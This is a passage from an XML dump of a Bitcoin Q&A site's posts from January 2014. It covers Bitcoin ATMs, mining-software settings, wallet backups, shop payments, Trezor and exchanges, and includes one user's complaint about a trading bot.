&quot;47304402200c64714e605c1ad63e5a52b2d4a734c3a6174e2d6a4e0aa7fcff99ec8c1451a902202005bed9f7f2969bf86989cbe295aab3d51ba77b2faf9def6010b04f24183e450121024209026dda4b136d55f92e36fb4fdf23a8beb129d872838a122a9d1e55c9f838&quot;&#xA;    },&#xA;    &quot;sequence&quot; : 4294967295&#xA;}],&#xA;&quot;vout&quot; : [{&#xA;    &quot;value&quot; : 0.11400000,&#xA;    &quot;n&quot; : 0,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : &quot;OP_DUP OP_HASH160 52bf43c4d410b5971a37c304ba96b53dc5da7f5f OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot; : &quot;76a91452bf43c4d410b5971a37c304ba96b53dc5da7f5f88ac&quot;,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot; : [&quot;18YXY35z1HgMoKqBFgiShGuqnhR7zdwwC6&quot;]&#xA;    }&#xA;}, {&#xA;    &quot;value&quot; : 0.00041416,&#xA;    &quot;n&quot; : 1,&#xA;    &quot;scriptPubKey&quot; : {&#xA;        &quot;asm&quot; : &quot;OP_DUP OP_HASH160 bcccc2b493e31afd0767448c8f7d7d5d68231648 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot; : &quot;76a914bcccc2b493e31afd0767448c8f7d7d5d6823164888ac&quot;,&#xA;        &quot;reqSigs&quot; : 1,&#xA;        &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot; : [&quot;1JDHL5WhHNrg4HrNksnF7S1ChGVYYUkjVC&quot;]&#xA;    }&#xA;}]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;code&gt;vin[0].scriptSig.asm&lt;/code&gt;. It contains 2 values: &lt;code&gt;3044...4501&lt;/code&gt; and &lt;code&gt;0242...f838&lt;/code&gt;. Second value is a compressed public key. Now you can use it to calculate address: &lt;code&gt;RIPEMD160(SHA256(pubkey)) -&amp;gt; Base58&lt;/code&gt;. But you must do this by yourself.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-16T09:35:53.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20667" PostTypeId="1" CreationDate="2014-01-16T09:35:56.090" Score="2" ViewCount="799" Body="&lt;p&gt;Last ABC1's 7:30 ran a balanced Bitcoin story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.abc.net.au/7.30/content/2013/s3926368.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.abc.net.au/7.30/content/2013/s3926368.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In it they showed a Bitcoin ATM being use in Melbourne.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also said &quot;One way to buy Bitcoins is using Melbourne's first Bitcoin machine. It's one of just two nationwide&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to google up where the second machine is. Possible places mentioned online are Melbourne (different provider), Sydney and Nimbin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know were this second AMT machine is?&lt;/p&gt;&#xA;" OwnerUserId="5081" LastEditorUserId="132" LastEditDate="2014-01-19T11:54:03.743" LastActivityDate="2014-09-21T00:20:11.083" Title="Where is Australia's second bitcoin ATM machine?" Tags="|bitcoin-atm|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20669" PostTypeId="2" ParentId="14439" CreationDate="2014-01-16T10:55:36.860" Score="2" Body="&lt;p&gt;I would not say it's a scam because it does actively trade bitcoins, however the claims are not substantiated and in fact it has performed very poorly. I had a $500 account at approximately $100 per bit coin and now the current portfolio value: is 949.02 USD with bitcoins trading at $940.79 on MtGox, $838.24 on BTC-e, $838.88 on Bitstamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll do the math - simply my account should be worth approximately $4500 if BTC Robot was par with the market. They claim huge gains beyond what the market performs at - that's a lie. BTC Robot is performing at approximately 20% of the market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithm is poor at best. I see a lot of trades but they don't appear to do much. There was apparently a glitch in the system about a month ago. I had manually turned my robot off and should have disconnected it from my account. They did an update and turned my robot back on and I promptly lost $2000!!!!! Now they're promising a big improvement is coming. I'll believe it when I see it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line is that it cost me $500 for the robot and it should have paid for itself but it hasn't. My advice is by low and sell high and do not by the BTC Robot.  It has a long way to go and the only ones making money are the Russians that are selling this thing.&lt;/p&gt;&#xA;" OwnerUserId="12295" LastActivityDate="2014-01-16T10:55:36.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20670" PostTypeId="1" CreationDate="2014-01-16T12:02:21.563" Score="1" ViewCount="5882" Body="&lt;p&gt;Running bfgminer and notice that it is not submitting any shares to the p2pool.&#xA;Mining a scrypt based crypto currency (Dogecoin). Noticed the same behavior when trying to mine litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, while it seems to do work on my laptop (OS X 10.9.1), no shares actually get submitted to the pool.  What can I do to fix this and get bfgminer to start submitting shares. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running using this command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer -k diablo --scrypt -o stratum+tcp://pool.shitpost.asia:1917 -u DKm9ayrnN1fAbikyRiqDMsdax4uizCpjZp -p anything -I 12 -S opencl:auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attached is a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SmykB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when I exit the program I get some additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary of runtime statistics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2014-01-16 06:57:53] Started at [2014-01-16 06:48:44]&lt;br&gt;&#xA; [2014-01-16 06:57:53] Pool: stratum+tcp://pool.shitpost.asia:1917&lt;br&gt;&#xA; [2014-01-16 06:57:53] Runtime: 0 hrs : 9 mins : 9 secs&lt;br&gt;&#xA; [2014-01-16 06:57:53] Average hashrate: 7.0 Megahash/s&lt;br&gt;&#xA; [2014-01-16 06:57:53] Solved blocks: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Best share difficulty: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Share submissions: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Accepted shares: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Rejected shares: 0 + 0 stale (nan%)&lt;br&gt;&#xA; [2014-01-16 06:57:53] Accepted difficulty shares: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Rejected difficulty shares: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Hardware errors: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Network transfer:  1.80 /  0.01 MB  (  3.3 /   0.0 kB/s)&lt;br&gt;&#xA; [2014-01-16 06:57:53] Efficiency (accepted shares * difficulty / 2 KB): 0.00&lt;br&gt;&#xA; [2014-01-16 06:57:53] Utility (accepted shares / min): 0.00/min&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2014-01-16 06:57:53] Unable to get work from server occasions: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] Work items generated locally: 350&lt;br&gt;&#xA; [2014-01-16 06:57:53] Submitting work remotely delay occasions: 0&lt;br&gt;&#xA; [2014-01-16 06:57:53] New blocks detected on network: 13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2014-01-16 06:57:53] Summary of per device statistics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2014-01-16 06:57:53] OCL0       | 5s: 6.67 avg: 6.87 u: 0.00 Mh/s | A:0 R:0+0(none) HW:0/none&lt;br&gt;&#xA; [2014-01-16 06:57:53] OCL1       | 5s: 96.0 avg:107.7 u:  0.0 kh/s | A:0 R:0+0(none) HW:0/none&lt;br&gt;&#xA; [2014-01-16 06:57:53]                      &lt;/p&gt;&#xA;" OwnerUserId="12297" LastEditorUserId="5406" LastEditDate="2016-04-25T20:56:27.033" LastActivityDate="2016-04-25T20:56:27.033" Title="Bfgminer 3.10.0 not submitting shares (scrypt)" Tags="|mining-pools|litecoin|miner-configuration|dogecoin|bfgminer|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T18:45:04.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="20671" PostTypeId="1" CreationDate="2014-01-16T12:35:56.910" Score="2" ViewCount="402" Body="&lt;p&gt;At CoinMap, I can find several coffee- and other brick-and-mortar shops that apparently accept bitcoin payments. How do these transactions work? Do I have to stand at the counter for 10 minutes and wait until transaction gets confirmed, do they use some kind of trick to make the transaction time bearable?&lt;/p&gt;&#xA;" OwnerUserId="10491" LastEditorUserId="5406" LastEditDate="2016-08-02T05:58:33.737" LastActivityDate="2016-08-02T05:58:33.737" Title="How do BTC payments work at real-world shops?" Tags="|payment|merchants|face-to-face-payment|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-03T07:31:39.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="20673" PostTypeId="2" ParentId="20635" CreationDate="2014-01-16T13:19:03.707" Score="11" Body="&lt;p&gt;A new crypto-coin, scrypt based, which produces blocks every 42 seconds (each of which yield just 42 millionths of the currency, except for every 420th which yields x10) and for which there will be no more than 42 coins in existence. Yes, that's right, only 42 &quot;42coins&quot; will ever exist! That takes Bitcoin's hard limit of 21 million to the extreme, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what I've read, it's a half-joke based off the novel &quot;The Hitchhiker's guide to the Galaxy&quot;, wherein it's stated that number 42 is the answer to the &quot;ultimate question about God, life, the Universe and everything else&quot; - such a question that we humans are just too dumb to fully understand, much less grasp the implications of the answer :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fourtytwo42.com/&quot;&gt;Official page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=399658.0&quot;&gt;Official forum, with links to pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What amazes me is how a coin with no virtually no use appart from speculation has commanded such a high prize - it's HUNDREDS of times more valuable than a bitcoin itself! And yet, according to coinwarz, it's not all that profitable (probably because of the block's ultra-low yield).&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-16T13:19:03.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20674" PostTypeId="1" CreationDate="2014-01-16T13:57:22.473" Score="0" ViewCount="281" Body="&lt;p&gt;What would happen to my mobile bitcoin wallet if something happens to my phone? If it breaks, or I want to replace it or it gets stolen?&lt;/p&gt;&#xA;" OwnerUserId="12301" LastActivityDate="2014-03-18T01:39:52.263" Title="Bitcoin mobile phone wallet" Tags="|wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20675" PostTypeId="2" ParentId="20674" CreationDate="2014-01-16T14:02:56.320" Score="1" Body="&lt;p&gt;You lose your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mitigate this encrypt your wallet and do regular backups to several other places. I think wallets will have the backup functionality built-in soon, but it is not here yet. &lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-16T14:02:56.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20676" PostTypeId="2" ParentId="20645" CreationDate="2014-01-16T14:25:56.447" Score="0" Body="&lt;p&gt;Based on &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison#Intel&quot; rel=&quot;nofollow&quot;&gt;this hardware comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 CPU ~ 50 KH/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 rigs x 2 CPU x 50 KH/s each ~ 300 KH/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, according to the &lt;a href=&quot;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=300&amp;amp;p=1000.00&amp;amp;pc=0.10&amp;amp;pf=0.00&amp;amp;d=3931.59487261&amp;amp;r=50.00000000&amp;amp;er=0.02929000&amp;amp;hc=0.00&quot; rel=&quot;nofollow&quot;&gt;coinwars&lt;/a&gt;, you would mine $9.75 a month or $0.33 a day. &lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-16T14:25:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20677" PostTypeId="2" ParentId="20495" CreationDate="2014-01-16T14:30:15.023" Score="0" Body="&lt;p&gt;First of all, backup your wallet in a couple of places...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in linux, move your ~/.bitcoin to ~/.bitcoin_old, once you've done that start bitcoin-qt, wait another day for the whole blockchain to download. This time it should be working OK.&#xA;Replace the wallet in ~/.bitcoin with your wallet in ~/.bitcoin_old and resync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to have your wallet.dat saved before you do anything (I would have 2 or 3 copies in different places (usb, external HD, etc ...)&lt;/p&gt;&#xA;" OwnerUserId="12249" LastEditorUserId="12249" LastEditDate="2014-01-16T14:39:19.437" LastActivityDate="2014-01-16T14:39:19.437" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20678" PostTypeId="2" ParentId="20674" CreationDate="2014-01-16T14:41:23.880" Score="1" Body="&lt;p&gt;If you lose your wallet, your bitcoins will be lost, unless you created a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you just want to switch to a new phone, you can either transfer the wallet to the new phone or sent the remaining bitcoins to another wallet you control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all bitcoin wallets should be backuped.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-16T14:41:23.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20679" PostTypeId="2" ParentId="20674" CreationDate="2014-01-16T14:50:36.727" Score="1" Body="&lt;p&gt;In case you have an online wallet (like coinbase) you won't have lost your wallet and you will be able to access your account from your web broser. In coinbase's case you can set it to allow payments without password, require password at startup or require it when a payment is to be made. Depending on what security you set your money can be used by the one who finds your phone or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is a good idea to have a couple of wallets, the one on the cell phone should be one with enough money to buy what you may need as daily or monthly expenses, but it SHOULDN'T have ALL your coins. Keep those in a safe place, like a paper wallet or encrypted in the cloud.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastEditorUserId="12249" LastEditDate="2014-01-16T22:01:50.627" LastActivityDate="2014-01-16T22:01:50.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20682" PostTypeId="2" ParentId="20671" CreationDate="2014-01-16T14:59:16.733" Score="2" Body="&lt;p&gt;Depends on their infrastructure. If they use an intermediary (like bitpay or something) it will be instantaneus, since bitpay is the one that takes the risk for double spends and accepts payment fast.&#xA;In case they have their own infrastructure, it may depend on what they do, if they accept one confirmation for the payment it may not take much otherwise it may take longer. I don't think any of those shops do that by themselfs, most probably the will have an &quot;acquirer&quot; for bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-16T14:59:16.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20683" PostTypeId="1" CreationDate="2014-01-16T15:00:22.327" Score="1" ViewCount="2522" Body="&lt;p&gt;I have 2 devices plug into my computer.&#xA;The 1st device is the USB block erupter.&#xA;The 2nd device is the BFL machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the BFGminer, I only want one device to mine at one pool and the other device to mine at another pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that using BFGminer?&lt;/p&gt;&#xA;" OwnerUserId="12299" LastEditorUserId="5406" LastEditDate="2016-04-24T09:14:34.750" LastActivityDate="2017-02-27T04:14:17.707" Title="How do I run Separate Mining Devices With BFGMINER?" Tags="|mining-pools|miner-configuration|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20684" PostTypeId="2" ParentId="20616" CreationDate="2014-01-16T15:20:48.463" Score="8" Body="&lt;p&gt;Yes. I have done so myself. I gave my kids paper wallets with 10 millibits each and am now giving them a bitcoin allowance of 4 millibits per month.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-01-16T15:20:48.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20685" PostTypeId="2" ParentId="5274" CreationDate="2014-01-16T15:29:44.963" Score="1" Body="&lt;p&gt;This is implemented in the &lt;code&gt;GetTransactionSenderAddress()&lt;/code&gt; method of &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-16T15:29:44.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20687" PostTypeId="1" AcceptedAnswerId="20689" CreationDate="2014-01-16T16:25:00.080" Score="8" ViewCount="8393" Body="&lt;p&gt;I know that there are many duplicates of this but I'm hoping that the way in which I word this explains and helps not just me, but others as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any of the coin wallet  bitcoin and the alt coins, when I run a backup I see a wallet.dat file being created.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does this wallet contain all the necessary information like private keys etc... in order to say encrypt this file and store it on a google drive , dropbox etc..  ?&lt;/li&gt;&#xA;&lt;li&gt;If my hard drive takes a dive etc.. , CAN I simply take that wallet.dat file , and on another computer decrypt it and restore my information based on my coin currency?&lt;/li&gt;&#xA;&lt;li&gt;If I do the encryption within the wallet, is the wallet.dat called something else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I understand the exchanges , buying, trading , selling, mining...  I'm just not versed in the backup with my information... private keys etc...    thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="12274" LastEditDate="2014-01-16T19:26:19.027" LastActivityDate="2017-12-17T00:19:17.743" Title="Backing up my bitcoin wallet - is wallet.dat all I care about?" Tags="|bitcoin-core|backup|encryption|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20688" PostTypeId="2" ParentId="20671" CreationDate="2014-01-16T16:25:03.190" Score="2" Body="&lt;p&gt;The effort to successfully pull off a double-spend is disproportionate to the cost of paying for a couple cups of coffee. Not only is the window smaller than 10 minutes, but when the double spend actually works, you might not be able to go back to that coffee shop. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the risk of accepting such a small transaction with zero confirmations is acceptable for a store in order to save the customer the time to wait around, and stores usually should accept your payment with zero confirmations i.e. as soon as the store's device shows the incoming transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a huge sum, say more than $1000, is involved, it would probably be acceptable to the paying party to wait for at least one confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the store uses a payment processor, the payment processor will accept the payment at zero confirmations and carry the risk of a double-spend.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-16T16:25:03.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20689" PostTypeId="2" ParentId="20687" CreationDate="2014-01-16T16:35:07.687" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes.&lt;/li&gt;&#xA;&lt;li&gt;Yes.&lt;/li&gt;&#xA;&lt;li&gt;No. Note that that the software's encryption encrypts only the private keys, not transaction and address book information, so to protect your privacy you may want to add encrypting the file itself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-16T16:35:07.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20691" PostTypeId="2" ParentId="9982" CreationDate="2014-01-16T16:53:05.667" Score="0" Body="&lt;p&gt;Reliable Casascius and Recalescence coins reseller! Our store has been working from 2012 and is now shipping to European countries. Take a loot at &lt;a href=&quot;https://btcstore.eu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://btcstore.eu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AOccR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12310" LastEditorUserId="12310" LastEditDate="2014-01-16T18:19:12.140" LastActivityDate="2014-01-16T18:19:12.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20693" PostTypeId="1" AcceptedAnswerId="20703" CreationDate="2014-01-16T17:55:29.690" Score="0" ViewCount="2408" Body="&lt;p&gt;What do the details mean on &lt;code&gt;bfgminer&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like at the bottom of the command prompt, before the devices show up, it has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A:8781 R:11+0(.14%) HW:5527/ 37%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that all mean?&lt;/p&gt;&#xA;" OwnerUserId="11271" LastActivityDate="2017-03-10T19:42:09.557" Title="What do the details on bfgminer mean" Tags="|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20694" PostTypeId="2" ParentId="19860" CreationDate="2014-01-16T18:01:33.050" Score="0" Body="&lt;p&gt;Have you read the &lt;code&gt;Readme - GPU&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have pasted the contents at &lt;a href=&quot;http://pastebin.com/KKfyspvD&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;, if you wanna check it out?&lt;/p&gt;&#xA;" OwnerUserId="11271" LastActivityDate="2014-01-16T18:01:33.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20695" PostTypeId="2" ParentId="18697" CreationDate="2014-01-16T18:24:41.360" Score="1" Body="&lt;p&gt;You are not liable when a gateway vanishes.&lt;/p&gt;&#xA;&lt;p&gt;When you send money on Ripple, you are trading IOUs. In order for someone to receive IOUs, this recipient must have expressed his acceptance of IOUs from the corresponding issuer.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Alice wants to buy a lot of ice-cream from Bob for $20. They both trust the gateway Gateway.&lt;/p&gt;&#xA;&lt;p&gt;Alice has previously paid $100 to Gateway and holds therefore an IOU from Gateway with the value of $100. She sends $20 to Bob. Bob also trusts Gateway, so he is willing to accept Gateway-IOUs as payment. Gateway now owes her only $80, and Gateway owes $20 to Bob.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;At this point their deal is done. So, if Gateway went under after this, there would be no liability, because the payment was transferred and accepted by Bob. His beef is with Gateway, or with himself for trusting Gateway, not with Alice.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-16T18:24:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20696" PostTypeId="2" ParentId="20683" CreationDate="2014-01-16T18:26:15.267" Score="1" Body="&lt;p&gt;I do this by running two copies of BFGMiner and using the --scan parameter to specify which devices are used by each miner.  In my case, I have a bunch of USB Block Erupters and a BE Cube.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One BFGMiner specifies '--scan none' and '--http-port 8330' to support the BE Cube (which connects over the local network).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other BFGMiner specifies '--scan-serial erupter:all' to support the USB erupters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also useful when the devices vary in hash power.  I set the USB erupters to difficulty 4 while the BE Cube is set to difficulty 16.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-01-16T18:26:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20698" PostTypeId="1" CreationDate="2014-01-16T19:40:37.373" Score="1" ViewCount="860" Body="&lt;p&gt;Since UTXOs are required to spend funds, where does Trezor get the unspent outputs from?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Storing them in the hardware requires you to plug it in from time to time to update the UTXO set. You could even run out of UTXOs!&lt;/li&gt;&#xA;&lt;li&gt;Host-side blockchain scanning for UTXOs from a given deterministic wallet is &lt;strong&gt;very&lt;/strong&gt; expensive (if not impossible since there are infinite addresses in a deterministic wallet).&lt;/li&gt;&#xA;&lt;li&gt;You can't build a &quot;wallet -&gt; UTXO&quot; index for the same reasons above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What am I missing? I'm assuming Trezor's primary use case is in PoS. Pehaps I'm wrong there?&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="5406" LastEditDate="2017-07-01T14:11:13.483" LastActivityDate="2017-07-01T14:11:13.483" Title="Where does Trezor get UTXOs from?" Tags="|utxo|hardware-wallet|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20699" PostTypeId="2" ParentId="20687" CreationDate="2014-01-16T20:37:52.540" Score="3" Body="&lt;p&gt;1 Yes if you use that wallet only to keep coins but you don't use it to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Same as answer nº 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to keep transactions difficult to trace, whenever you transfer bitcoins a second transaction is placed. That transaction moves a small amount to a new address created in your wallet. I don't remember how many &quot;wallets&quot; within your wallet are kept (I think 20 but not sure). After that, new wallets are created as old ones are emptied. So if you have a wallet with quite a few transactions and you check your balance in blockchain.info you will see that a few coins are lost. Well they are not really lost they are in those wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use your wallet a lot, you better do backups often, or you will end with missing coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope i've been able to make myself clear, but if you have any question just ask.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-16T20:37:52.540" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20700" PostTypeId="2" ParentId="20698" CreationDate="2014-01-16T21:20:38.373" Score="3" Body="&lt;p&gt;As explained in their &lt;a href=&quot;http://www.bitcointrezor.com/faq/&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;, Trezor works together with existing wallet software, it's not a standalone wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that the wallet you use gets the addresses from your wallet from Trezor and can display your balance with that information. When you want to spend money, it will create a transaction as it would normally do,  but instead of signing the transaction itself, it sends it to Trezor. Trezor will show the transaction on the display and ask for your confirmation. When you confirm, it will sign the transaction with the private keys (that are only stored on the Trezor) and send the signed transaction back to your wallet software, which will broadcast it to the network.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-16T21:20:38.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20701" PostTypeId="1" AcceptedAnswerId="29648" CreationDate="2014-01-16T21:46:03.393" Score="40" ViewCount="15591" Body="&lt;p&gt;Stealth addresses are mentioned in the context of privacy of bitcoin transactions. What are they and how would they work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can they provide 100% anonymity?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2018-02-12T23:28:14.600" Title="What is a stealth address?" Tags="|address|privacy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20702" PostTypeId="2" ParentId="16738" CreationDate="2014-01-16T21:52:56.477" Score="1" Body="&lt;p&gt;They don't sell nor buy anything they are in the middle of a transaction. Check &lt;a href=&quot;https://eur.bitcurex.com/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; out, Active buy orders are people who want to buy, and active sell orders are people who want to sell. The exchange is the place where all that people meet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Bitcoins and want to sell them for real money you have two options, you can sell it to the first buy order for the specified price and the transaction will be finished in that exact moment (if the buy order is for the exact or more amount of Bitcoins that you are selling) and you will be credited with real money that you can withdraw to your bank. Or you can set your own price and wait to see if someone wants to buy it for that price. Depending on the price you set it may take little time, longer or forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For every acount a wallet is created where you transfer your Bitcoins, real money is deposited in real banks and transfered to and from those banks.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-16T21:52:56.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
